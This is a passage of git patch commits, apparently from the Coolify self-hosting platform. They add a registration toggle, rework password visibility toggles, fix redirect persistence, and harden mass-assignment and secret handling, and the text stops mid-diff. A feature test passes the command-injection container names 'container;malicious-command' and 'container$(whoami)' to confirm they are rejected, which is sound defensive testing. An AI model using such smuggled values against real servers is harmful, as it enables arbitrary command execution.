verifyPasswordConfirmation($password, $this)) { + return false; + } + + $this->settings->is_registration_enabled = $this->is_registration_enabled = true; + $this->settings->save(); + $this->dispatch('success', 'Registration has been enabled.'); + + return true; + } + public function toggleTwoStepConfirmation($password): bool { if (! verifyPasswordConfirmation($password, $this)) { diff --git a/resources/views/livewire/settings/advanced.blade.php b/resources/views/livewire/settings/advanced.blade.php index 242cacf48..6c26b453d 100644 --- a/resources/views/livewire/settings/advanced.blade.php +++ b/resources/views/livewire/settings/advanced.blade.php @@ -16,11 +16,31 @@ class="flex flex-col h-full gap-8 sm:flex-row">
Advanced settings for your Coolify instance.
-
- -
+ @if ($is_registration_enabled) +
+ +
+ @else +
+ + +
+ @endif
- \ No newline at end of file + From a5840501b41a90ff453b7f8fb28e872a659e2813 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 29 Mar 2026 20:47:36 +0200 Subject: [PATCH 76/95] fix(forms): use Alpine state for password visibility toggles Replace shared `changePasswordFieldType` JS with component-local Alpine logic across input, textarea, and env-var-input components. This keeps toggle behavior consistent, resets visibility on `success` events, and preserves `truncate` styling only when showing plaintext on enabled fields. Also adds `PasswordVisibilityComponentTest` to verify Alpine bindings are rendered and legacy handler references are removed. --- .../components/forms/env-var-input.blade.php | 26 ++++++++---- .../views/components/forms/input.blade.php | 13 +++--- .../views/components/forms/textarea.blade.php | 18 +++++--- resources/views/layouts/base.blade.php | 26 +----------- .../PasswordVisibilityComponentTest.php | 41 +++++++++++++++++++ 5 files changed, 80 insertions(+), 44 deletions(-) create mode 100644 tests/Feature/PasswordVisibilityComponentTest.php diff --git a/resources/views/components/forms/env-var-input.blade.php b/resources/views/components/forms/env-var-input.blade.php index 2466a57f9..d26e248c1 100644 --- a/resources/views/components/forms/env-var-input.blade.php +++ b/resources/views/components/forms/env-var-input.blade.php @@ -10,7 +10,7 @@ @endif -
@if ($type === 'password' && $allowToPeak) -
- + -
+ + + + + + + @endif merge(['class' => $defaultClass]) }} @required($required) @readonly($readonly) @@ -210,12 +220,10 @@ class="flex absolute inset-y-0 right-0 items-center pr-2 cursor-pointer dark:hov wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" @endif wire:loading.attr="disabled" - @if ($type === 'password') - :type="type" - @else + @disabled($disabled) + @if ($type !== 'password') type="{{ $type }}" @endif - @disabled($disabled) @if ($htmlId !== 'null') id="{{ $htmlId }}" @endif name="{{ $name }}" placeholder="{{ $attributes->get('placeholder') }}" diff --git a/resources/views/components/forms/input.blade.php b/resources/views/components/forms/input.blade.php index cf72dfbe9..456aa1da8 100644 --- a/resources/views/components/forms/input.blade.php +++ b/resources/views/components/forms/input.blade.php @@ -13,10 +13,11 @@ @endif @if ($type === 'password') -
+
@if ($allowToPeak) -
+
+ @endif merge(['class' => $defaultClass]) }} @required($required) @if ($modelBinding !== 'null') wire:model={{ $modelBinding }} wire:dirty.class="[box-shadow:inset_4px_0_0_#6b16ed,inset_0_0_0_2px_#e5e5e5] dark:[box-shadow:inset_4px_0_0_#fcd452,inset_0_0_0_2px_#242424]" @endif wire:loading.attr="disabled" - type="{{ $type }}" @readonly($readonly) @disabled($disabled) id="{{ $htmlId }}" + @readonly($readonly) @disabled($disabled) id="{{ $htmlId }}" name="{{ $name }}" placeholder="{{ $attributes->get('placeholder') }}" aria-placeholder="{{ $attributes->get('placeholder') }}" @if ($autofocus) x-ref="autofocusInput" @endif> diff --git a/resources/views/components/forms/textarea.blade.php b/resources/views/components/forms/textarea.blade.php index 3f8fdb112..22c89fd72 100644 --- a/resources/views/components/forms/textarea.blade.php +++ b/resources/views/components/forms/textarea.blade.php @@ -30,18 +30,26 @@ function handleKeydown(e) { readonly="{{ $readonly }}" label="dockerfile" autofocus="{{ $autofocus }}" /> @else @if ($type === 'password') -
+
@if ($allowToPeak) -
- + -
+ + + + + + + @endif merge(['class' => $defaultClassInput]) }} @required($required) diff --git a/resources/views/layouts/base.blade.php b/resources/views/layouts/base.blade.php index 2b4ca6054..33968ee32 100644 --- a/resources/views/layouts/base.blade.php +++ b/resources/views/layouts/base.blade.php @@ -203,30 +203,6 @@ function checkTheme() { let checkHealthInterval = null; let checkIfIamDeadInterval = null; - function changePasswordFieldType(event) { - let element = event.target - for (let i = 0; i < 10; i++) { - if (element.className === "relative") { - break; - } - element = element.parentElement; - } - element = element.children[1]; - if (element.nodeName === 'INPUT' || element.nodeName === 'TEXTAREA') { - if (element.type === 'password') { - element.type = 'text'; - if (element.disabled) return; - element.classList.add('truncate'); - this.type = 'text'; - } else { - element.type = 'password'; - if (element.disabled) return; - element.classList.remove('truncate'); - this.type = 'password'; - } - } - } - function copyToClipboard(text) { navigator?.clipboard?.writeText(text) && window.Livewire.dispatch('success', 'Copied to clipboard.'); } @@ -326,4 +302,4 @@ function copyToClipboard(text) { @show - \ No newline at end of file + diff --git a/tests/Feature/PasswordVisibilityComponentTest.php b/tests/Feature/PasswordVisibilityComponentTest.php new file mode 100644 index 000000000..efc0e27cf --- /dev/null +++ b/tests/Feature/PasswordVisibilityComponentTest.php @@ -0,0 +1,41 @@ +put('default', new MessageBag); + view()->share('errors', $errors); +}); + +it('renders password input with Alpine-managed visibility state', function () { + $html = Blade::render(''); + + expect($html) + ->toContain('@success.window="type = \'password\'"') + ->toContain("x-data=\"{ type: 'password' }\"") + ->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"") + ->toContain('x-bind:type="type"') + ->toContain("x-bind:class=\"{ 'truncate': type === 'text' && ! \$el.disabled }\"") + ->not->toContain('changePasswordFieldType'); +}); + +it('renders password textarea with Alpine-managed visibility state', function () { + $html = Blade::render(''); + + expect($html) + ->toContain('@success.window="type = \'password\'"') + ->toContain("x-data=\"{ type: 'password' }\"") + ->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"") + ->not->toContain('changePasswordFieldType'); +}); + +it('resets password visibility on success event for env-var-input', function () { + $html = Blade::render(''); + + expect($html) + ->toContain("@success.window=\"type = 'password'\"") + ->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"") + ->toContain('x-bind:type="type"'); +}); From 3fde1e0f9f74f44dd5f0620e1f5db17d9ca0c35f Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 29 Mar 2026 20:50:03 +0200 Subject: [PATCH 77/95] fix(application): persist redirect value in setRedirect Assign the selected redirect option before validation so valid changes are saved. Add feature tests to verify redirect persistence and rejection when no www domain exists. --- app/Livewire/Project/Application/General.php | 1 + tests/Feature/ApplicationRedirectTest.php | 60 ++++++++++++++++++++ 2 files changed, 61 insertions(+) create mode 100644 tests/Feature/ApplicationRedirectTest.php diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index c12fec76a..6fd063cf3 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -735,6 +735,7 @@ public function setRedirect() $this->authorize('update', $this->application); try { + $this->application->redirect = $this->redirect; $has_www = collect($this->application->fqdns)->filter(fn ($fqdn) => str($fqdn)->contains('www.'))->count(); if ($has_www === 0 && $this->application->redirect === 'www') { $this->dispatch('error', 'You want to redirect to www, but you do not have a www domain set.

Please add www to your domain list and as an A DNS record (if applicable).'); diff --git a/tests/Feature/ApplicationRedirectTest.php b/tests/Feature/ApplicationRedirectTest.php new file mode 100644 index 000000000..55b124f81 --- /dev/null +++ b/tests/Feature/ApplicationRedirectTest.php @@ -0,0 +1,60 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +describe('Application Redirect', function () { + test('setRedirect persists the redirect value to the database', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'fqdn' => 'https://example.com,https://www.example.com', + 'redirect' => 'both', + ]); + + Livewire::test(General::class, ['application' => $application]) + ->assertSuccessful() + ->set('redirect', 'www') + ->call('setRedirect') + ->assertDispatched('success'); + + $application->refresh(); + expect($application->redirect)->toBe('www'); + }); + + test('setRedirect rejects www redirect when no www domain exists', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'fqdn' => 'https://example.com', + 'redirect' => 'both', + ]); + + Livewire::test(General::class, ['application' => $application]) + ->assertSuccessful() + ->set('redirect', 'www') + ->call('setRedirect') + ->assertDispatched('error'); + + $application->refresh(); + expect($application->redirect)->toBe('both'); + }); +}); From b3256d4df14e21c6d8936d972f45cbc47e07cca4 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 29 Mar 2026 20:56:04 +0200 Subject: [PATCH 78/95] fix(security): harden model assignment and sensitive data handling Restrict mass-assignable attributes across user/team/redis models and switch privileged root/team creation paths to forceFill/forceCreate. Encrypt legacy ClickHouse admin passwords via migration and cast the correct ClickHouse password field as encrypted. Tighten API and runtime exposure by removing sensitive team fields from responses and sanitizing Git/compose error messages. Expand security-focused feature coverage for command-injection and mass assignment protections. --- app/Actions/Fortify/CreateNewUser.php | 3 +- app/Http/Controllers/Api/TeamController.php | 8 -- app/Models/Application.php | 4 +- app/Models/ServerSetting.php | 1 + app/Models/StandaloneClickhouse.php | 2 +- app/Models/StandaloneRedis.php | 1 - app/Models/Team.php | 3 +- app/Models/User.php | 11 +- ...pt_existing_clickhouse_admin_passwords.php | 39 ++++++ database/seeders/RootUserSeeder.php | 3 +- tests/Feature/GetLogsCommandInjectionTest.php | 120 +++++++++++++----- .../Feature/MassAssignmentProtectionTest.php | 18 ++- 12 files changed, 154 insertions(+), 59 deletions(-) create mode 100644 database/migrations/2026_03_29_000000_encrypt_existing_clickhouse_admin_passwords.php diff --git a/app/Actions/Fortify/CreateNewUser.php b/app/Actions/Fortify/CreateNewUser.php index 9f97dd0d4..7ea6a871e 100644 --- a/app/Actions/Fortify/CreateNewUser.php +++ b/app/Actions/Fortify/CreateNewUser.php @@ -37,12 +37,13 @@ public function create(array $input): User if (User::count() == 0) { // If this is the first user, make them the root user // Team is already created in the database/seeders/ProductionSeeder.php - $user = User::create([ + $user = (new User)->forceFill([ 'id' => 0, 'name' => $input['name'], 'email' => $input['email'], 'password' => Hash::make($input['password']), ]); + $user->save(); $team = $user->teams()->first(); // Disable registration after first user is created diff --git a/app/Http/Controllers/Api/TeamController.php b/app/Http/Controllers/Api/TeamController.php index fd0282d96..03b36e4e0 100644 --- a/app/Http/Controllers/Api/TeamController.php +++ b/app/Http/Controllers/Api/TeamController.php @@ -14,14 +14,6 @@ private function removeSensitiveData($team) 'custom_server_limit', 'pivot', ]); - if (request()->attributes->get('can_read_sensitive', false) === false) { - $team->makeHidden([ - 'smtp_username', - 'smtp_password', - 'resend_api_key', - 'telegram_token', - ]); - } return serializeApiResponse($team); } diff --git a/app/Models/Application.php b/app/Models/Application.php index a4789ae4a..3312f4c76 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -1767,7 +1767,7 @@ public function loadComposeFile($isInit = false, ?string $restoreBaseDirectory = $fileList = collect([".$workdir$composeFile"]); $gitRemoteStatus = $this->getGitRemoteStatus(deployment_uuid: $uuid); if (! $gitRemoteStatus['is_accessible']) { - throw new RuntimeException("Failed to read Git source:\n\n{$gitRemoteStatus['error']}"); + throw new RuntimeException('Failed to read Git source. Please verify repository access and try again.'); } $getGitVersion = instant_remote_process(['git --version'], $this->destination->server, false); $gitVersion = str($getGitVersion)->explode(' ')->last(); @@ -1825,7 +1825,7 @@ public function loadComposeFile($isInit = false, ?string $restoreBaseDirectory = } throw new RuntimeException('Repository does not exist. Please check your repository URL and try again.'); } - throw new RuntimeException($e->getMessage()); + throw new RuntimeException('Failed to read the Docker Compose file from the repository.'); } finally { // Cleanup only - restoration happens in catch block $commands = collect([ diff --git a/app/Models/ServerSetting.php b/app/Models/ServerSetting.php index 504cfa60a..efc7bc8de 100644 --- a/app/Models/ServerSetting.php +++ b/app/Models/ServerSetting.php @@ -56,6 +56,7 @@ class ServerSetting extends Model protected $guarded = []; protected $casts = [ + 'force_disabled' => 'boolean', 'force_docker_cleanup' => 'boolean', 'docker_cleanup_threshold' => 'integer', 'sentinel_token' => 'encrypted', diff --git a/app/Models/StandaloneClickhouse.php b/app/Models/StandaloneClickhouse.php index 74382d87c..c192e5360 100644 --- a/app/Models/StandaloneClickhouse.php +++ b/app/Models/StandaloneClickhouse.php @@ -42,7 +42,7 @@ class StandaloneClickhouse extends BaseModel protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; protected $casts = [ - 'clickhouse_password' => 'encrypted', + 'clickhouse_admin_password' => 'encrypted', 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', diff --git a/app/Models/StandaloneRedis.php b/app/Models/StandaloneRedis.php index 812a0e5cb..2320619cf 100644 --- a/app/Models/StandaloneRedis.php +++ b/app/Models/StandaloneRedis.php @@ -16,7 +16,6 @@ class StandaloneRedis extends BaseModel protected $fillable = [ 'name', 'description', - 'redis_password', 'redis_conf', 'status', 'image', diff --git a/app/Models/Team.php b/app/Models/Team.php index 4b9751706..8eb8fa050 100644 --- a/app/Models/Team.php +++ b/app/Models/Team.php @@ -43,10 +43,9 @@ class Team extends Model implements SendsDiscord, SendsEmail, SendsPushover, Sen protected $fillable = [ 'name', 'description', + 'personal_team', 'show_boarding', 'custom_server_limit', - 'use_instance_email_settings', - 'resend_api_key', ]; protected $casts = [ diff --git a/app/Models/User.php b/app/Models/User.php index 6b6f93239..a62cb8358 100644 --- a/app/Models/User.php +++ b/app/Models/User.php @@ -49,9 +49,6 @@ class User extends Authenticatable implements SendsEmail 'password', 'force_password_reset', 'marketing_emails', - 'pending_email', - 'email_change_code', - 'email_change_code_expires_at', ]; protected $hidden = [ @@ -98,7 +95,7 @@ protected static function boot() $team['id'] = 0; $team['name'] = 'Root Team'; } - $new_team = Team::create($team); + $new_team = Team::forceCreate($team); $user->teams()->attach($new_team, ['role' => 'owner']); }); @@ -201,7 +198,7 @@ public function recreate_personal_team() $team['id'] = 0; $team['name'] = 'Root Team'; } - $new_team = Team::create($team); + $new_team = Team::forceCreate($team); $this->teams()->attach($new_team, ['role' => 'owner']); return $new_team; @@ -412,11 +409,11 @@ public function requestEmailChange(string $newEmail): void $expiryMinutes = config('constants.email_change.verification_code_expiry_minutes', 10); $expiresAt = Carbon::now()->addMinutes($expiryMinutes); - $this->update([ + $this->forceFill([ 'pending_email' => $newEmail, 'email_change_code' => $code, 'email_change_code_expires_at' => $expiresAt, - ]); + ])->save(); // Send verification email to new address $this->notify(new EmailChangeVerification($this, $code, $newEmail, $expiresAt)); diff --git a/database/migrations/2026_03_29_000000_encrypt_existing_clickhouse_admin_passwords.php b/database/migrations/2026_03_29_000000_encrypt_existing_clickhouse_admin_passwords.php new file mode 100644 index 000000000..a4a6988f2 --- /dev/null +++ b/database/migrations/2026_03_29_000000_encrypt_existing_clickhouse_admin_passwords.php @@ -0,0 +1,39 @@ +chunkById(100, function ($clickhouses) { + foreach ($clickhouses as $clickhouse) { + $password = $clickhouse->clickhouse_admin_password; + + if (empty($password)) { + continue; + } + + // Skip if already encrypted (idempotent) + try { + Crypt::decryptString($password); + + continue; + } catch (Exception) { + // Not encrypted yet — encrypt it + } + + DB::table('standalone_clickhouses') + ->where('id', $clickhouse->id) + ->update(['clickhouse_admin_password' => Crypt::encryptString($password)]); + } + }); + } catch (Exception $e) { + echo 'Encrypting ClickHouse admin passwords failed.'; + echo $e->getMessage(); + } + } +} diff --git a/database/seeders/RootUserSeeder.php b/database/seeders/RootUserSeeder.php index e3968a1c9..c4e93af63 100644 --- a/database/seeders/RootUserSeeder.php +++ b/database/seeders/RootUserSeeder.php @@ -45,12 +45,13 @@ public function run(): void } try { - User::create([ + $user = (new User)->forceFill([ 'id' => 0, 'name' => env('ROOT_USERNAME', 'Root User'), 'email' => env('ROOT_USER_EMAIL'), 'password' => Hash::make(env('ROOT_USER_PASSWORD')), ]); + $user->save(); echo "\n SUCCESS Root user created successfully.\n\n"; } catch (\Exception $e) { echo "\n ERROR Failed to create root user: {$e->getMessage()}\n\n"; diff --git a/tests/Feature/GetLogsCommandInjectionTest.php b/tests/Feature/GetLogsCommandInjectionTest.php index 34824b48b..3e5a33b66 100644 --- a/tests/Feature/GetLogsCommandInjectionTest.php +++ b/tests/Feature/GetLogsCommandInjectionTest.php @@ -1,8 +1,40 @@ user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team, ['role' => 'owner']); + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + // Server::created auto-creates a StandaloneDocker, reuse it + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); + + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); +}); describe('GetLogs locked properties', function () { test('container property has Locked attribute', function () { @@ -34,47 +66,67 @@ }); }); -describe('GetLogs container name validation in getLogs', function () { - test('getLogs method validates container name with ValidationPatterns', function () { - $method = new ReflectionMethod(GetLogs::class, 'getLogs'); - $startLine = $method->getStartLine(); - $endLine = $method->getEndLine(); - $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1); - $methodBody = implode('', $lines); +describe('GetLogs Livewire action validation', function () { + test('getLogs rejects invalid container name', function () { + // Make server functional by setting settings directly + $this->server->settings->forceFill([ + 'is_reachable' => true, + 'is_usable' => true, + 'force_disabled' => false, + ])->save(); + // Reload server with fresh settings to ensure casted values + $server = Server::with('settings')->find($this->server->id); - expect($methodBody)->toContain('ValidationPatterns::isValidContainerName'); + Livewire::test(GetLogs::class, [ + 'server' => $server, + 'resource' => $this->application, + 'container' => 'container;malicious-command', + ]) + ->call('getLogs') + ->assertSet('outputs', 'Invalid container name.'); }); - test('downloadAllLogs method validates container name with ValidationPatterns', function () { - $method = new ReflectionMethod(GetLogs::class, 'downloadAllLogs'); - $startLine = $method->getStartLine(); - $endLine = $method->getEndLine(); - $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1); - $methodBody = implode('', $lines); + test('getLogs rejects unauthorized server access', function () { + $otherTeam = Team::factory()->create(); + $otherServer = Server::factory()->create(['team_id' => $otherTeam->id]); - expect($methodBody)->toContain('ValidationPatterns::isValidContainerName'); - }); -}); - -describe('GetLogs authorization checks', function () { - test('getLogs method checks server ownership via ownedByCurrentTeam', function () { - $method = new ReflectionMethod(GetLogs::class, 'getLogs'); - $startLine = $method->getStartLine(); - $endLine = $method->getEndLine(); - $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1); - $methodBody = implode('', $lines); - - expect($methodBody)->toContain('Server::ownedByCurrentTeam()'); + Livewire::test(GetLogs::class, [ + 'server' => $otherServer, + 'resource' => $this->application, + 'container' => 'test-container', + ]) + ->call('getLogs') + ->assertSet('outputs', 'Unauthorized.'); }); - test('downloadAllLogs method checks server ownership via ownedByCurrentTeam', function () { - $method = new ReflectionMethod(GetLogs::class, 'downloadAllLogs'); - $startLine = $method->getStartLine(); - $endLine = $method->getEndLine(); - $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1); - $methodBody = implode('', $lines); + test('downloadAllLogs returns empty for invalid container name', function () { + $this->server->settings->forceFill([ + 'is_reachable' => true, + 'is_usable' => true, + 'force_disabled' => false, + ])->save(); + $server = Server::with('settings')->find($this->server->id); - expect($methodBody)->toContain('Server::ownedByCurrentTeam()'); + Livewire::test(GetLogs::class, [ + 'server' => $server, + 'resource' => $this->application, + 'container' => 'container$(whoami)', + ]) + ->call('downloadAllLogs') + ->assertReturned(''); + }); + + test('downloadAllLogs returns empty for unauthorized server', function () { + $otherTeam = Team::factory()->create(); + $otherServer = Server::factory()->create(['team_id' => $otherTeam->id]); + + Livewire::test(GetLogs::class, [ + 'server' => $otherServer, + 'resource' => $this->application, + 'container' => 'test-container', + ]) + ->call('downloadAllLogs') + ->assertReturned(''); }); }); diff --git a/tests/Feature/MassAssignmentProtectionTest.php b/tests/Feature/MassAssignmentProtectionTest.php index f6518648f..18de67ce7 100644 --- a/tests/Feature/MassAssignmentProtectionTest.php +++ b/tests/Feature/MassAssignmentProtectionTest.php @@ -96,6 +96,9 @@ expect($user->isFillable('remember_token'))->toBeFalse('remember_token should not be fillable'); expect($user->isFillable('two_factor_secret'))->toBeFalse('two_factor_secret should not be fillable'); expect($user->isFillable('two_factor_recovery_codes'))->toBeFalse('two_factor_recovery_codes should not be fillable'); + expect($user->isFillable('pending_email'))->toBeFalse('pending_email should not be fillable'); + expect($user->isFillable('email_change_code'))->toBeFalse('email_change_code should not be fillable'); + expect($user->isFillable('email_change_code_expires_at'))->toBeFalse('email_change_code_expires_at should not be fillable'); }); test('User model allows mass assignment of profile fields', function () { @@ -110,7 +113,18 @@ $team = new Team; expect($team->isFillable('id'))->toBeFalse(); - expect($team->isFillable('personal_team'))->toBeFalse('personal_team should not be fillable'); + expect($team->isFillable('use_instance_email_settings'))->toBeFalse('use_instance_email_settings should not be fillable (migrated to EmailNotificationSettings)'); + expect($team->isFillable('resend_api_key'))->toBeFalse('resend_api_key should not be fillable (migrated to EmailNotificationSettings)'); + }); + + test('Team model allows mass assignment of expected fields', function () { + $team = new Team; + + expect($team->isFillable('name'))->toBeTrue(); + expect($team->isFillable('description'))->toBeTrue(); + expect($team->isFillable('personal_team'))->toBeTrue(); + expect($team->isFillable('show_boarding'))->toBeTrue(); + expect($team->isFillable('custom_server_limit'))->toBeTrue(); }); test('standalone database models block mass assignment of relationship IDs', function () { @@ -145,7 +159,7 @@ expect($model->isFillable('limits_memory'))->toBeTrue(); $model = new StandaloneRedis; - expect($model->isFillable('redis_password'))->toBeTrue(); + expect($model->isFillable('redis_conf'))->toBeTrue(); $model = new StandaloneMysql; expect($model->isFillable('mysql_root_password'))->toBeTrue(); From 9f46586d4aaa93f2b526d67833ba70ef58b9893e Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 29 Mar 2026 21:25:41 +0200 Subject: [PATCH 79/95] refactor: define explicit fillable attributes on all Eloquent models Replace $guarded usage with explicit $fillable arrays across all models. Sync fillable definitions with current database schema and add tests. Co-Authored-By: Claude Opus 4.6 --- .../Api/ApplicationsController.php | 14 +- .../Controllers/Api/DatabasesController.php | 16 +- .../Controllers/Api/SecurityController.php | 7 +- app/Livewire/Project/CloneMe.php | 34 +-- .../Project/Shared/ResourceOperations.php | 59 +++-- app/Models/Application.php | 108 +++++++- app/Models/ApplicationDeploymentQueue.php | 27 +- app/Models/ApplicationPreview.php | 13 +- app/Models/ApplicationSetting.php | 37 ++- app/Models/CloudProviderToken.php | 6 +- app/Models/DiscordNotificationSettings.php | 3 +- app/Models/DockerCleanupExecution.php | 7 +- app/Models/EmailNotificationSettings.php | 4 + app/Models/Environment.php | 5 +- app/Models/GithubApp.php | 22 +- app/Models/GitlabApp.php | 18 ++ app/Models/InstanceSettings.php | 38 ++- app/Models/LocalFileVolume.php | 13 +- app/Models/LocalPersistentVolume.php | 10 +- app/Models/Project.php | 5 +- app/Models/ProjectSetting.php | 2 +- app/Models/PushoverNotificationSettings.php | 3 +- app/Models/S3Storage.php | 12 +- app/Models/ScheduledDatabaseBackup.php | 20 +- .../ScheduledDatabaseBackupExecution.php | 12 +- app/Models/ScheduledTask.php | 9 +- app/Models/ScheduledTaskExecution.php | 10 +- app/Models/Server.php | 5 +- app/Models/ServerSetting.php | 45 +++- app/Models/Service.php | 19 +- app/Models/ServiceApplication.php | 22 +- app/Models/ServiceDatabase.php | 22 +- app/Models/SharedEnvironmentVariable.php | 3 + app/Models/SlackNotificationSettings.php | 3 +- app/Models/StandaloneClickhouse.php | 29 +- app/Models/StandaloneDocker.php | 5 +- app/Models/StandaloneDragonfly.php | 28 +- app/Models/StandaloneKeydb.php | 29 +- app/Models/StandaloneMariadb.php | 31 ++- app/Models/StandaloneMongodb.php | 32 ++- app/Models/StandaloneMysql.php | 33 ++- app/Models/StandalonePostgresql.php | 35 ++- app/Models/StandaloneRedis.php | 28 +- app/Models/Subscription.php | 13 +- app/Models/SwarmDocker.php | 5 +- app/Models/Tag.php | 4 +- app/Models/Team.php | 7 +- app/Models/TelegramNotificationSettings.php | 6 +- app/Models/User.php | 19 +- bootstrap/helpers/applications.php | 13 +- .../Feature/MassAssignmentProtectionTest.php | 249 ++++++++++++++++++ 51 files changed, 1071 insertions(+), 128 deletions(-) create mode 100644 tests/Feature/MassAssignmentProtectionTest.php diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index ad1f50ea2..82d662177 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -1158,7 +1158,7 @@ private function create_application(Request $request, $type) $application = new Application; removeUnnecessaryFieldsFromRequest($request); - $application->fill($request->all()); + $application->fill($request->only($allowedFields)); $dockerComposeDomainsJson = collect(); if ($request->has('docker_compose_domains')) { $dockerComposeDomains = collect($request->docker_compose_domains); @@ -1385,7 +1385,7 @@ private function create_application(Request $request, $type) $application = new Application; removeUnnecessaryFieldsFromRequest($request); - $application->fill($request->all()); + $application->fill($request->only($allowedFields)); $dockerComposeDomainsJson = collect(); if ($request->has('docker_compose_domains')) { @@ -1585,7 +1585,7 @@ private function create_application(Request $request, $type) $application = new Application; removeUnnecessaryFieldsFromRequest($request); - $application->fill($request->all()); + $application->fill($request->only($allowedFields)); $dockerComposeDomainsJson = collect(); if ($request->has('docker_compose_domains')) { @@ -1772,7 +1772,7 @@ private function create_application(Request $request, $type) } $application = new Application; - $application->fill($request->all()); + $application->fill($request->only($allowedFields)); $application->fqdn = $fqdn; $application->ports_exposes = $port; $application->build_pack = 'dockerfile'; @@ -1884,7 +1884,7 @@ private function create_application(Request $request, $type) $application = new Application; removeUnnecessaryFieldsFromRequest($request); - $application->fill($request->all()); + $application->fill($request->only($allowedFields)); $application->fqdn = $fqdn; $application->build_pack = 'dockerimage'; $application->destination_id = $destination->id; @@ -2000,7 +2000,7 @@ private function create_application(Request $request, $type) $service = new Service; removeUnnecessaryFieldsFromRequest($request); - $service->fill($request->all()); + $service->fill($request->only($allowedFields)); $service->docker_compose_raw = $dockerComposeRaw; $service->environment_id = $environment->id; @@ -2760,7 +2760,7 @@ public function update_by_uuid(Request $request) removeUnnecessaryFieldsFromRequest($request); - $data = $request->all(); + $data = $request->only($allowedFields); if ($requestHasDomains && $server->isProxyShouldRun()) { data_set($data, 'fqdn', $domains); } diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index 33d875758..1b5cd0d44 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -1751,7 +1751,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('postgres_conf', $postgresConf); } - $database = create_standalone_postgresql($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_postgresql($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1806,7 +1806,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('mariadb_conf', $mariadbConf); } - $database = create_standalone_mariadb($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_mariadb($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1865,7 +1865,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('mysql_conf', $mysqlConf); } - $database = create_standalone_mysql($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_mysql($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1921,7 +1921,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('redis_conf', $redisConf); } - $database = create_standalone_redis($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_redis($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1958,7 +1958,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } removeUnnecessaryFieldsFromRequest($request); - $database = create_standalone_dragonfly($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_dragonfly($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -2007,7 +2007,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('keydb_conf', $keydbConf); } - $database = create_standalone_keydb($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_keydb($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -2043,7 +2043,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) ], 422); } removeUnnecessaryFieldsFromRequest($request); - $database = create_standalone_clickhouse($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_clickhouse($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -2101,7 +2101,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('mongo_conf', $mongoConf); } - $database = create_standalone_mongodb($environment->id, $destination->uuid, 